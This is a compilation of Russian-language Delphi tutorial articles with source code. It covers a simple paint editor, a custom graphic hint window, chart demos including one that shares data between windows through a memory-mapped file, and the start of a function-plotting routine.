    MOpen: TMenuItem;
    N2: TMenuItem;
    Undo: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure MOpenClick(Sender: TObject);
    procedure UndoClick(Sender: TObject);
    procedure SBBrushClick(Sender: TObject);
    procedure Image3MouseDown(Sender: TObject; Button: TMouseButton; Shift:
      TShiftState; X, Y: Integer);
  private { Private declarations }
  public { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
var
  BitMap: TBitMap;
    //переменная для сохранения изображения, если его нужно будет востановить командой отменить
procedure
  TForm1.FormCreate(Sender: TObject);
var
  HW, I: integer;
begin
  BitMap := TBitMap.Create;
  {задание свойств кисти основного и
  вспомогательного цветов}
  Image1.Canvas.Brush.Color := clBlack;
  Image2.Canvas.Brush.Color := clWhite;
  {заполнение окон основного и вспомогательного
  цветов}
  with
    Image1.Canvas do
    FillRect(Rect(0, 0, Width, Height));
  with Image2.Canvas do
    FillRect(Rect(0, 0, Width, Height));
  {задание ширины элемента палитры
  цветов}
  HW := Image4.Width
    div 10;
  {закраска элементов палитры цветов}
  with
    Image4.Canvas do
    for I := 1 to 10 do
    begin
      case I of
        1: Brush.Color := clBlack;
        2: Brush.Color := clAqua;
        3: Brush.Color := clBlue;
        4: Brush.Color := clFuchsia;
        5: Brush.Color := clGreen;
        6: Brush.Color := clLime;
        7: Brush.Color := clMaroon;
        8: Brush.Color := clRed;
        9: Brush.Color := clYellow;
        10: Brush.Color := clWhite;
      end;
      Rectangle((I - 1) * HW, 0, I * HW, Height);
    end;
Статьи по Delphi (009)…
{рисование креста на холсте – только для
тестирования}
with Image3 do
begin
  Canvas.MoveTo(0, 0);
  Canvas.LineTo(Width, Height);
  Canvas.MoveTo(0, Height);
  Canvas.LineTo(Width, 0);
end;
BitMap.Assign(Image3.Picture);
end;
procedure TForm1.FormDestroy(Sender:
  TObject);
begin
  BitMap.Free;
end;
procedure TForm1.MOpenClick(Sender:
  TObject);
begin
  if OpenPictureDialog1.Execute then
  begin
    Image3.Picture.LoadFromFile(OpenPictureDialog1.FileName);
    BitMap.Assign(Image3.Picture);
  end;
end;
procedure TForm1.UndoClick(Sender:
  TObject);
begin
  Image3.Picture.Assign(BitMap);
end;
procedure
  TForm1.SBBrushClick(Sender: TObject);
begin
  if (Sender as TSpeedButton).Down then
    BitMap.Assign(Image3.Picture);
end;
procedure
  TForm1.Image3MouseDown(Sender: TObject; Button: TMouseButton; Shift:
  TShiftState; X, Y: Integer);
begin
  if (Sender = Image4) or SBColor.Down then
    {режим установки основного и вспомогательного
    цветов}
  begin
    if (Button = mbLeft) then
      with Image1.Canvas do
      begin
        {установка основного
        цвета}
        Brush.Color := (Sender as
          TImage).Canvas.Pixels[X, Y];
        FillRect(Rect(0, 0, Width, Height));
      end
    else
      with Image2.Canvas do
      begin
        {установка вспомогательного
        цвета}
        Brush.Color := (Sender as
          TImage).Canvas.Pixels[X, Y];
        FillRect(Rect(0, 0, Width, Height));
      end;
  end
  else if SBBrush.Down then
    with Image3.Canvas do
    begin
      {режим закраски указанной области
      холста}
      if
        Button = mbLeft then
        Brush.Color := Image1.Canvas.Brush.Color
      else
        Brush.Color := Image2.Canvas.Brush.Color;
      FloodFill(X, Y, Pixels[X, Y], fsSurface);
    end;
end;
end.

8. OnMouseDown – это основной код, осуществляющий как установку основного и вспомогательных цветов, так и функцию инструмента графического редактора – кисти. Если кнопка мыши нажата на палитре цветов, Image4, или если кнопка SBColor – кнопка указателя цвета утоплена, то приложение находится в режиме установки цветов. При нажатой левой кнопки мыши цвет пикселя под курсором мыши передается в окно основного цвета, а при нажатой правой кнопки – в окно вспомогательного цвета. Если кнопка мыши нажата на холсте, Image3, или если кнопка SBColor – кнопка указателя цвета утоплена, то приложение находится в режиме закраски указанной области рисунка. В этом случае в зависимости от нажатой кнопки мыши выбирается основной или вспомогательный цвет и функцией FloodFill производится закраска области, координаты внутренней точки которой указаны курсором мыши, а цвет – цветом пикселя, на который указывает мышь.

Часть 2. Дополнительные функции графического редактора:
Функция выделения фрагмента осуществляется методом DrawFocusRect.В этом режиме
при событии onMouseDown холста – компонента Image3, выполняются операторы:
{запоминание начального положения курсора мыши}
X0 := X;
//запоминание координаты мыши X,Y в переменных X0,Y0;
Y0 := Y; //начальные координаты прямоугольной области – переменной R типа TRect;
{формирование начального положения области фрагмента};
R.TopLeft := Point(X, Y);
R.BottomRight := Point(X, Y); {рисование рамки}
Image3.DrawFocusRect(R);
  //рисуется рамка пока нулевого размера методом DrawFocusRect;
RBegin := true;
{утанавливается флаг начала выделения фрагмента RBegin;При событии onMouseMove компонента Image3, 
если установлен флаг RBegin, выпол-няются операторы:}
Выделение фрагмента – кнопка SBRect. Фрагмент выделяется точечной рамкой. Выделенный фрагмент можно в дальнейшем перетащить мышью на другое место. Если в процессе перетаскивания нажата клавиша Ctrl, то производится копирование фрагмента, в противном случае вырезание, при котором область первоначального размещения фрагмента закрашивается вспомогательным цветом. Выделенный фрагмент может быть также скопирован или вырезан в буфер обмена Clipboard соответствующими командами меню.
{Стирание прежней рамки фрагмента}
Image3.Canvas.DrawFocusRect(R);
  //метод DrawFocusRect рисует рамку с помощью операции XOR;
{формирование области R};
if X0 < X then //область, передаваемая в функцию DrawFocusRect
begin
  R.Left := X0;
  R.Right := X
end // должна быть сформирована так, что R.Left<R.Right и
else
begin
  R.Left := X;
  R.Right := X0
end; // R.Top<R.Buttom
if Y0 < Y then
begin
  R.Top := Y0;
  R.Bottom := Y
end
else
begin
  R.Top := Y;
  R.Bottom := Y0
end;
{Рисования новой рамки фрагмента}
Image3.Canvas.DrawFocusRect(R);
{Рамка,ограничивающая фрагмент нарисована. Если пользовательпомещает курсор внутрь выделенной
области и нажимает кнопку мыши (onMouseDown), выполняют-ся операторы:}
with Image3.Canvas do
begin
  ;
  X0 := X; //запоминание начального положения курсора мыши
  Y0 := Y;
  DrawFocusRect(R); {стирание прежней рамки}
  ;
  RDrag := true; //устанавливает флаг перетаскивания RDrag;
  REnd := false;
  {запоминание начального положения перетаскиваемого фрагмента в переменной R0 типа TRect};
  R0.TopLeft := R.TopLeft;
  R0.BottomRight := R.BottomRight;
  {запоминание методом  Assign изображения в момент начала перетаскивания в переменно BitMap,
  чтобы в процессе перетаскивания можно было восстанавливать испорченные места изображения и
  чтобы при желании пользователя можно было в дальнейшем отменить результат перетаскивания};
  BitMap.Assign(Image3.Picture);
  {установка цвета кисти равным вспомогательному цвету, хранящемуся в компоненте Image2};
  Brush.Color := Image2.Canvas.Brush.Color;
end;
{При событии onMouseMove компонента Image3, если установлен флаг RDrag, выпол-няются операторы:
восстановление изображения под перетаскиваемым фрагментом в его прежней позиции, (т.е. стирает фрагмент)
  копируя соответствующую область методом CopyRect из компо-нента BitMap };
CopyRect(R, BitMap.Canvas, R);
{если не нажата клавиша Ctrl - стирание изображения в R0(осуществляется вырезание) ме-тодом FillRect };
if not (ssCtrl in Shift) then
  FillRect(R0);
{формирование нового положения фрагмента }
R.Left := R.Left + X - X0;
R.Right := R.Right + X - X0;
R.Top := R.Top + Y - Y0;
R.Bottom := R.Bottom + Y - Y0;
{запоминание положения курсора мыши};
X0 := X;
Y0 := Y;
{рисование фрагмента в новом положении};
CopyRect(R, BitMap.Canvas, R0); {рисование рамки}
DrawFocusRect(R);
{Таким образом проводится операция выделения фрагрента и его перетаскивания.}
Рисование прямоугольника – кнопка SBRectang. Рисуется прямоугольная рамка основным цветом. Начало режимов рисования заполненного и незаполненного прямоугольников про-исходит по событию onMouseDown и их продолжение по событиям onMouseMove и не отличаются от рассмотренного режима выделения фрагмента.;При завершении формирования пользователем прямоугольной рамки, т.е. при собы-тии MouseUp, надо нарисовать прямоугольник. ;Рисование заполненного прямоугольника осуществляется операторами:
with Image3.Canvas do
begin
  Brush.Color := Image2.Canvas.Brush.Color; //задается цвет кисти;
  Pen.Color := Image1.Canvas.Brush.Color; //задается цвет пера;
  Rectangle(R.Left, R.Top, R.Right, R.Bottom);
end;
Рисование незакрашенного прямоугольника осуществляется операторами:
with Image3.Canvas do
begin
  Brush.Color := Image1.Canvas.Brush.Color;
  FrameRect(R); //метод FrameRect рисует цветом кисти;
end;
Рисование заполненного прямоугольника – кнопка SBFillRec. Рисуется прямоугольная рамка основным цветом и прямоугольник внутри закрашивается вспомогательным цветом. Возможные значения свойства Mode пера Pen
pmCopy – линии проводятся цветом, заданным в свойстве Color
pmBlack Always black
pmWhiteAlways white
pmNopUnchanged
pmNot Inverse of canvas background color
pmCopy Pen color specified in Color property
pmNotCopyInverse of pen color
pmMergePenNot Combination of pen color and inverse of canvas background
pmMaskPenNotCombination of colors common to both pen and inverse of canvas background.
pmMergeNotPen Combination of canvas background color and inverse of pen color
pmMaskNotPenCombination of colors common to both canvas background and inverse of pen
pmMerge Combination of pen color and canvas background color
pmNotMergeInverse of pmMerge: combination of pen color and canvas background color
pmMask Combination of colors common to both pen and canvas background
pmNotMaskInverse of pmMask: combination of colors common to both pen and canvas background
рmХогСложение с фоном по исключающему
{ИЛИ (линия появляется только в момент отпускания мыши)
рmNоtХогСложение с фоном по инверсному исключающему ИЛИ}
Начало рисования прямой линии осуществляется по событию onMouseDown:
X0 := X;
Y0 := Y;
X1 := X;
Y1 := Y;
Image3.Canvas.Pen.Color := Image1.Canvas.Brush.Color;
  //устанавливается цвет пера;
Image3.Canvas.Pen.Mode := pmNotXor;
  //режим pmNotXor позволяет при движении мыши стирать изображение линии;
Рисование прямой линии – кнопка SBLine.Рисуется прямая линия основным цветом. Продолжение рисования прямой линии осуществляется по событию onMouseMove:
with Image3.Canvas do
begin
  {стирание прежней линии}
  MoveTo(X0, Y0);
    //стирается линия в прежнем положении (это необходимо, т.к. метод LineTo
  LineTo(X1, Y1);
    //рисует линию,начинающуюся в текущей позиции пера и заканчивающуюся
  {рисование новой линии}//в указанной точке, исключая эту конечную точку.
  MoveTo(X0, Y0); //рисуется новая линия;
  LineTo(X, Y);
  X1 := X; {запоминание новых координат конца линии}
  Y1 := Y;
end;
Заключительные операции при событии MouseUp аналогичны рассмотренным выше, но дополняются переводом пера в режим pmCopy, при котором рисуется окончатель-ная линия:
with Image3.Canvas do
begin
  MoveTo(X0, Y0); //стирание прежней линии;
  LineTo(X1, Y1);
  Pen.Mode := pmCopy; //рисование новой линии;
  MoveTo(X0, Y0);
  LineTo(X, Y);
end;
Карандаш – кнопка SBPen. Можно рисовать произвольную кривую основным цветом. Glyph:=..\Images\Butons\pencil.bmp При реализации этого инструмента в виде:
Image3.Canvas.Pixels[X, Y] := Image3.Canvas.Brush.Color;
линия распадется на отдельные точки, так как курсор мыши перемещаетяс быстро и события onMouseMove происходят вовсе не при перемещении на соседний пик-сель. Линию,оставляемую курсором тоже нужно рисовать методом LineTo, помес-тив в обработчик события onMouseMove оператор:
Image3.Canvas.LineTo(X, Y);
Стирание изображения (ластик) – кнопка SBErase. Перемещение ластика закрашивает область под ним во вспомогательный цвет. Ластик реализуется методом FillRect, очищающим изображение под его рамкой. Сохранение файла осуществляется с использованием компонента SavePictureDialog оператором:
procedure TForm1.MSaveClick(Sender: TObject);
begin
  if SavePictureDialog1.Execute then
  begin
    BitMap.Assign(Image3.Picture); //сохранение изображения;
    BitMap.SaveToFile(SavePictureDialog1.FileName); //запись в файл изображения;
  end;
end;
Сохранение изображения в графическом файле – команда Файл/Сохранить как… Копированию или вырезанию подлежит ранее выделенный пользователем объект, местоположение и размеры которого определяются переменной R. Поэтому сначала создается временный объект типа TBitMap, в который переносится копируемый фрагмент. Затем объект копируется в ClipBoard.
procedure TForm1.MCopyClick(Sender: TObject);
var
  BMCopy: TBitMap;
begin
  Image3.Canvas.DrawFocusRect(R); {стирание рамки}
  BMCopy := BitMap.Create; {создание временного объекта BMCopy }
  BMCopy.Width := R.Right - R.Left;
  BMCopy.Height := R.Bottom - R.Top;
  try
    {копирование объекта в BMCopy }
    BMCopy.Canvas.Copyrect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
      Image3.Canvas, R);
    Image3.Canvas.DrawFocusRect(R); {восстановление рамки}
    ClipBoard.Assign(BMCopy); {копирование в Clipboard}
    if (Sender as TMenuItem).Name = 'MCut' then
    begin
      Image3.Canvas.Brush.Color := clWhite; {вырезание}
      Image3.Canvas.FillRect(R);
    end;
  finally
    {благодаря разделу finally память освобождается от временного объекта при любом исходе
    копирования: удачном или аварийном}
    BMCopy.Free; {освобождение памяти}
  end;
end;
Копирование или вырезание выделенного фрагмента изображения в буфер обмена Clipboard – команды Правка|Копировать или Правка|Вырезать Чтение из ClipBoard осуществляется методом LoadFromClipBoardFormat. Предусмотрен перехват исключения EInvalidGraphic, если в ClipBoard содержится не битовая матрица:
procedure TForm1.MPasteClick(Sender: TObject);
var
  BMCopy: TBitMap;
begin
  BMCopy := BitMap.Create;
  try
    try
      BMCopy.LoadFromClipBoardFormat(cf_BitMap,
        ClipBoard.GetAsHandle(cf_Bitmap), 0);
      Image3.Canvas.CopyRect(Rect(0, 0, BMCopy.Width, BMCopy.Height);
        BMCopy.Canvas, Rect(0, 0, BMCopy.Width, BMCopy.Height));
    finally
      BMCopy.Free;
    end;
  except
    on EInvalidGraphic do
      ShowMessage('Ошибочный формат графики');
  end;
end;
Вставка графического изображения типа битовой матрицы из буфера обмена Clipboard – команды Правка|Вставить. Попробуйте усовершенствовать редактор, добавив в него, например, выбор ширины линий, рисование эллипсов и т.д. Далее приведен полный текст дополнений к редактору представленному в части 1:
Статьи по Delphi (009)…
В класс TForm1 добавить:
TForm1 = class(TForm)
  MFile: TMenuItem;
  SBRect: TSpeedButton;
  SBRectang: TSpeedButton;
  SBFillRec: TSpeedButton;
  SBErase: TSpeedButton;
  SBPen: TSpeedButton;
  SBLine: TSpeedButton;
  MSave: TMenuItem;
  MCut: TMenuItem;
  MCopy: TMenuItem;
  MPaste: TMenuItem;
  SavePictureDialog1: TSavePictureDialog;
  procedure Image3MouseDown(Sender: TObject; Button:
    TMouseButton; Shift: TShiftState; X, Y: Integer); //доб.
  procedure SBBrushClick(Sender: TObject);
  procedure Image3MouseMove(Sender: TObject; Shift:
    TShiftState; X, Y: Integer);
Статьи по Delphi (009)…
procedure Image3MouseUp(Sender: TObject; Button:
  TMouseButton; Shift: TShiftState; X, Y: Integer);
  procedure MOpenClick(Sender: TObject);
    procedure MCopyClick(Sender: TObject);
      procedure MPasteClick(Sender: TObject);
        procedure MSaveClick(Sender: TObject);
          …………………………………………….
end;
implementation
{$R *.DFM}
var
  BitMap, BMCopy: TBitMap;
  R, R0: TRect;
  X0, Y0, X1, Y1: longint;
const
  RBegin: boolean = false; //флаг начала выделения фрагмента
  REnd: boolean = false; //
  RDrag: boolean = false; //флаг
  перетаскивания
  procedure
  TForm1.Image3MouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  if (Sender = Image4) or SBColor.Down then
    {режим установки основного и вспомогательного
    цветов}
  begin
    if (Button = mbLeft) then
      with Image1.Canvas do
      begin
        {установка основного
        цвета}
        Brush.Color := (Sender as
          TImage).Canvas.Pixels[X, Y];
        FillRect(Rect(0, 0, Width, Height));
      end
    else
      with Image2.Canvas do
      begin
        {установка вспомогательного
        цвета}
        Brush.Color := (Sender as TI //mage).Canvas.Pixels[X,Y];
          FillRect(Rect(0, 0, Width, Height));
      end;
  end
  else
    with Image3.Canvas do
    begin
      X0 := X;
      Y0 := Y;
      if SBPen.Down then
      begin
        {режим карандаша}
        MoveTo(X, Y);
        Pen.Color := Image1.Canvas.Brush.Color;
      end
      else if SBLine.Down then
      begin
        {режим линии}
        X1 := X;
        Y1 := Y;
        Pen.Mode := pmNotXor;
        Pen.Color := Image1.Canvas.Brush.Color;
      end
      else if SBBrush.Down then
      begin
        {режим закраски указанной области
        холста}
        if
          Button = mbLeft then
          Brush.Color := Image1.Canvas.Brush.Color
        else
          Brush.Color := Image2.Canvas.Brush.Color;
        FloodFill(X, Y, Pixels[X, Y], fsSurface);
      end
      else if SBErase.Down then
      begin
        {режим ластика}
        R := Rect(X - 6, Y - 6, X + 6, Y + 6);
        DrawFocusRect(R);
        Brush.Color := Image2.Canvas.Brush.Color;
        FillRect(Rect(X - 5, Y - 5, X + 5, Y + 5));
      end
      else if SBRect.Down or SBRectang.Down or
        SBFillRec.Downthen
      begin
      {режим работы с фрагментом}
      if REnd then
      begin
        {стирание прежней рамки}
        DrawFocusRect(R);
        if (X < R.Right) and (X > R.Left) and (Y > R.Top) and
          (Y < R.Bottom)
          {режим начала перетаскивания
        фрагмента} then
        begin
          {установка флагов}
          RDrag := true;
          REnd := false;
          {запоминание начального положения
          перетаскиваемого фрагмента}
          R0.TopLeft := R.TopLeft;
          R0.BottomRight := R.BottomRight;
          {запоминание
          изображения}
          BitMap.Assign(Image3.Picture);
          {установка
          цвета
          кисти}
          Brush.Color := Image2.Canvas.Brush.Color;
          MCopy.Enabled := false;
          MCut.Enabled := false;
        end;
      end
      else
      begin
        {режим начала рисования рамки
        фрагмента}
        RBegin := true;
        REnd := false;
        R.TopLeft := Point(X, Y);
        R.BottomRight := Point(X, Y);
        DrawFocusRect(R);
      end;
    end;
    end;
end;
procedure
  TForm1.SBBrushClick(Sender: TObject);
begin
  if (Sender as TSpeedButton).Down then
    BitMap.Assign(Image3.Picture);
  RBegin := false;
  RDrag := false;
  REnd := false;
end;
procedure
  TForm1.Image3MouseMove(Sender: TObject; Shift: TShiftState; X, Y:
  Integer);
begin
  if not (ssLeft in Shift) then
    exit;
  {режим линии}
  if SBLine.Down then
    with
      Image3.Canvas do
    begin
      {стирание прежней линии}
      MoveTo(X0, Y0);
      LineTo(X1, Y1);
      {рисование новой линии}
      MoveTo(X0, Y0);
      LineTo(X, Y);
      {запоминание новых координат конца
      линии}
      X1 := X;
      Y1 := Y;
    end
  else if SBPen.Down then
    Image3.Canvas.LineTo(X, Y)
  else if SBErase.Down then
    with Image3.Canvas do
    begin
      {режим ластика}
      DrawFocusRect(R);
      R := Rect(X - 6, Y - 6, X + 6, Y + 6);
      DrawFocusRect(R);
      FillRect(Rect(X - 5, Y - 5, X + 5, Y + 5));
    end
  else if (SBRect.Down and (RBegin or RDrag)) or
    SBRectang.Down or SBFillRec.Down then
    with Image3.Canvas do
    begin
      if RBegin then
      begin
        {Режим рисования рамки фрагмента}
        DrawFocusRect(R);
        if X0 < X then
        begin
          R.Left := X0;
          R.Right := X
        end
        else
        begin
          R.Left := X;
          R.Right := X0
        end;
        if Y0 < Y then
        begin
          R.Top := Y0;
          R.Bottom := Y
        end
        else
        begin
          R.Top := Y;
          R.Bottom := Y0
        end;
        DrawFocusRect(R);
      end
      else if SBRect.Down then
      begin
        {Режим перетаскивания фрагмента}
        {восстановление изображения под перетаскиваемым
        фрагментом}
        CopyRect(R, BitMap.Canvas, R);
        {если не нажата клавиша Ctrl - стирание
        изображения в R0}
        if not (ssCtrl in Shift) then
          FillRect(R0);
        {формирование нового положения фрагмента
        }
        R.Left := R.Left + X - X0;
        R.Right := R.Right + X - X0;
        R.Top := R.Top + Y - Y0;
        R.Bottom := R.Bottom + Y - Y0;
        {запоминание положения курсора мыши}
        X0 := X;
        Y0 := Y;
        {рисование фрагмента в новом
        положении}
        CopyRect(R, BitMap.Canvas, R0);
        {рисование
        рамки}
        DrawFocusRect(R);
      end;
    end;
end;
procedure
  TForm1.Image3MouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
begin
  with Image3.Canvas do
  begin
    if SBLine.Down then
    begin
      MoveTo(X0, Y0);
      LineTo(X1, Y1);
      Pen.Mode := pmCopy;
      MoveTo(X0, Y0);
      LineTo(X, Y);
    end
    else if SBRect.Down then
    begin
      if RDrag then
        DrawFocusRect(R);
      if RBegin and not REndthen
      begin
        REnd := true;
        MCopy.Enabled := true;
        MCut.Enabled := true;
      end
    end
    else if SBRectang.Down then
    begin
      Brush.Color := Image1.Canvas.Brush.Color;
      FrameRect(R);
    end
    else if SBFillRec.Down then
    begin
      Brush.Color := Image2.Canvas.Brush.Color;
      Pen.Color := Image1.Canvas.Brush.Color;
      Rectangle(R.Left, R.Top, R.Right, R.Bottom);
    end
    else if
      SBErase.Downthen
      Image3.Canvas.DrawFocusRect(R);
    RBegin := false;
    RDrag := false;
  end;
end;
procedure
  TForm1.MCopyClick(Sender: TObject);
{var
MyFormat: Word;
AData: THandle;
APalette: HPALETTE;}
begin
  Image3.Canvas.DrawFocusRect(R);
  BMCopy := BitMap.Create;
  BMCopy.Width := R.Right - R.Left;
  BMCopy.Height := R.Bottom - R.Top;
  try
    BMCopy.Canvas.Copyrect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
      Image3.Canvas, R);
    Image3.Canvas.DrawFocusRect(R);
    {BMCopy.SaveToClipBoardFormat(MyFormat,AData,APalette);
    ClipBoard.SetAsHandle(MyFormat,AData);}
    ClipBoard.Assign(BMCopy);
    if (Sender as TMenuItem).Name = 'MCut' then
    begin
      Image3.Canvas.Brush.Color := clWhite;
      Image3.Canvas.FillRect(R);
    end;
  finally
    BMCopy.Free;
  end;
end;
procedure
  TForm1.MPasteClick(Sender: TObject);
begin
  BMCopy := BitMap.Create;
  try
    try
      BMCopy.LoadFromClipBoardFormat(cf_BitMap,
        ClipBoard.GetAsHandle(cf_Bitmap), 0);
      Image3.Canvas.CopyRect(Rect(0, 0, BMCopy.Width, BMCopy.Height),
        BMCopy.Canvas, Rect(0, 0, BMCopy.Width, BMCopy.Height));
    finally
      BMCopy.Free;
    end;
  except
    on EInvalidGraphic do
      ShowMessage('Ошибочный формат графики');
  end;
end;
procedure
  TForm1.MSaveClick(Sender: TObject);
begin
  if SavePictureDialog1.Execute then
  begin
    BitMap.Assign(Image3.Picture);
    BitMap.SaveToFile(SavePictureDialog1.FileName);
  end;
end;
end.

Как сделать графический Hint.

Автор: http://www.swissdelphicenter.ch

{*********************************************************
 Mit Hilfe des folgendes Codes lassen sich leicht beliebige
 Hints erstellen. Dazu muss nur dir Prozedur "Paint" den
 Wьnsсhеn entsprechend angepasst werden.
 With the following Code you can simply create custom hints.
 You just have to change the procedur "Paint".
 *********************************************************}
type
  TGraphicHintWindow = class(THintWindow)
    constructor Create(AOwner: TComponent); override;
  private
    FActivating: Boolean;
  public
    procedure ActivateHint(Rect: TRect; const AHint: string); override;
  protected
    procedure Paint; override;
  published
    property Caption;
  end;
  {...}
constructor TGraphicHintWindow.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  {
   Hier кцnnеn beliebige Schrift Eigenschaften gesetzt
   werden.
   Here you can set custom Font Properties:
   }
  with Canvas.Font do
  begin
    Name := 'Arial';
    Style := Style + [fsBold];
    Color := clBlack;
  end;
end;
procedure TGraphicHintWindow.Paint;
var
  R: TRect;
  bmp: TBitmap;
begin
  R := ClientRect;
  Inc(R.Left, 2);
  Inc(R.Top, 2);
  {*******************************************************
   Der folgende Code ist ein Beispiel wie man die Paint
   Prozedur nutzen kann um einen benutzerdefinierten Hint
   zu erzeugen.
   The folowing Code ist an example how to create a custom
   Hint Object. :
   }
  bmp := TBitmap.Create;
  bmp.LoadfromFile('D:\hint.bmp');
  with Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := clsilver;
    Pen.Color := clgray;
    Rectangle(0, 0, 18, R.Bottom + 1);
    Draw(2, (R.Bottom div 2) - (bmp.Height div 2), bmp);
  end;
  bmp.Free;
  //Beliebige HintFarbe
  //custom Hint Color
  Color := clWhite;
  Canvas.Brush.Style := bsClear;
  Canvas.TextOut(20, (R.Bottom div 2) - (Canvas.Textheight(Caption) div 2),
    Caption);
  {********************************************************}
end;
procedure TGraphicHintWindow.ActivateHint(Rect: TRect; const AHint: string);
begin
  FActivating := True;
  try
    Caption := AHint;
    //Нцhе des Hints setzen setzen
    //Set the "Height" Property of the Hint
    Inc(Rect.Bottom, 14);
    //Breite des Hints setzen
    //Set the "Width" Property of the Hint
    Rect.Right := Rect.Right + 20;
    UpdateBoundsRect(Rect);
    if Rect.Top + Height > Screen.DesktopHeight then
      Rect.Top := Screen.DesktopHeight - Height;
    if Rect.Left + Width > Screen.DesktopWidth then
      Rect.Left := Screen.DesktopWidth - Width;
    if Rect.Left < Screen.DesktopLeft then
      Rect.Left := Screen.DesktopLeft;
    if Rect.Bottom < Screen.DesktopTop then
      Rect.Bottom := Screen.DesktopTop;
    SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,
      SWP_SHOWWINDOW or SWP_NOACTIVATE);
    Invalidate;
  finally
    FActivating := False;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  HintWindowClass := TGraphicHintWindow;
  Application.ShowHint := False;
  Application.ShowHint := True;
end;

Построение графика.

Статьи по Delphi (009)…
unit TestGrF;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, DdhGraph;
type
  TForm1 = class(TForm)
    ColorDialog1: TColorDialog;
    FontDialog1: TFontDialog;
    Image1: TImage;
    Panel1: TPanel;
    Button1: TButton;
    Button2: TButton;
    CheckBox1: TCheckBox;
    Button3: TButton;
    DdhGraph1: TDdhGraph;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  ColorDialog1.Color := DdhGraph1.Color;
  if ColorDialog1.Execute then
    DdhGraph1.Color := ColorDialog1.Color;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  FontDialog1.Font := DdhGraph1.Font;
  if FontDialog1.Execute then
    DdhGraph1.Font := FontDialog1.Font;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  if CheckBox1.Checked then
    DdhGraph1.BorderStyle := bsSingle
  else
    DdhGraph1.BorderStyle := bsNone;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
  ColorDialog1.Color := DdhGraph1.LinesColor;
  if ColorDialog1.Execute then
    DdhGraph1.LinesColor := ColorDialog1.Color;
end;
end.

Загрузить исходный код проекта Загрузить библиотеку с компонентами

График и отображаемый в память файл.

unit MapGForm;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, SyncObjs, TeEngine, Series, ExtCtrls, TeeProcs, Chart, Grids,
  ComCtrls;
type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Chart1: TChart;
    Series1: TBarSeries;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    hMapFile: THandle;
    MapFilePointer: Pointer;
  public
    procedure WmUser(var Msg: TMessage); message wm_user;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
  Address: Pointer;
  X, Y, Total: Integer;
begin
  hMapFile := CreateFileMapping(
    $FFFFFFFF, // file handle ... or memory
    nil, // security
    Page_ReadWrite, // access rights
    0, // high memory size
    10000, // low memory size
    'DdhMappedFileGraph'); // mapped file name
  if hMapFile <> 0 then
    MapFilePointer := MapViewOfFile(
      hMapFile, // handle returned above
      File_Map_All_Access, // access rights
      0, 0, 0) // access the entire mapped file
  else
    ShowMessage('hMapFile = 0');
  if MapFilePointer = nil then
    ShowMessage('MapFilePointer = nil')
  else
  begin
    // add window to area
    Address := pChar(MapFilePointer) + 400;
    while PInteger(Address)^ <> 0 do
      Address := pChar(Address) + 4;
    PInteger(Address)^ := Handle;
  end;
  // start up chart
  Chart1.Series[0].Clear;
  for X := 0 to 9 do
  begin
    Total := 0;
    for Y := 0 to 9 do
    begin
      Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
      Inc(Total, PInteger(Address)^);
    end;
    Chart1.Series[0].AddY(
      Total, IntToStr(X + 1), clRed);
  end;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnMapViewOfFile(MapFilePointer);
  CloseHandle(hMapFile);
end;
procedure TForm1.WmUser(var Msg: TMessage);
var
  X, Y, Total: Integer;
  Address: Pointer;
begin
  // copy all the data to the graph
  for X := 0 to 9 do
  begin
    Total := 0;
    for Y := 0 to 9 do
    begin
      Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
      Inc(Total, PInteger(Address)^);
    end;
    Chart1.Series[0].YValue[X] := Total;
  end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
  X, Y: Integer;
  Address: Pointer;
begin
  X := Random(10);
  Y := Random(10);
  Address := pChar(MapFilePointer) + (X + Y * 10) * 4;
  PInteger(Address)^ := PInteger(Address)^ + Random(10);
  Address := pChar(MapFilePointer) + 400;
  while PInteger(Address)^ <> 0 do
  begin
    PostMessage(PInteger(Address)^, wm_user, 0, 0);
    Address := pChar(Address) + 4;
  end;
end;
initialization
  Randomize;
end.

График функции.

Статьи по Delphi (009)…
unit grfunc_;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
  TForm1 = class(TForm)
    procedure FormPaint(Sender: TObject);
    procedure FormResize(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
// Функция, график которой надо построить
function f(x: real): real;
begin
  f := 2 * Sin(x) * exp(x / 5);
end;
// строит график функции
procedure GrOfFunc;
var
  x1, x2: real; // границы изменения аргумента функции
  y1, y2: real; // границы изменения значения функции
  x: real; // аргумент функции
  y: real; // значение функции в точке x
  dx: real; // приращение аргумента
  l, b: integer; // левый нижний угол области вывода графика
  w, h: integer; // ширина и высота области вывода графика
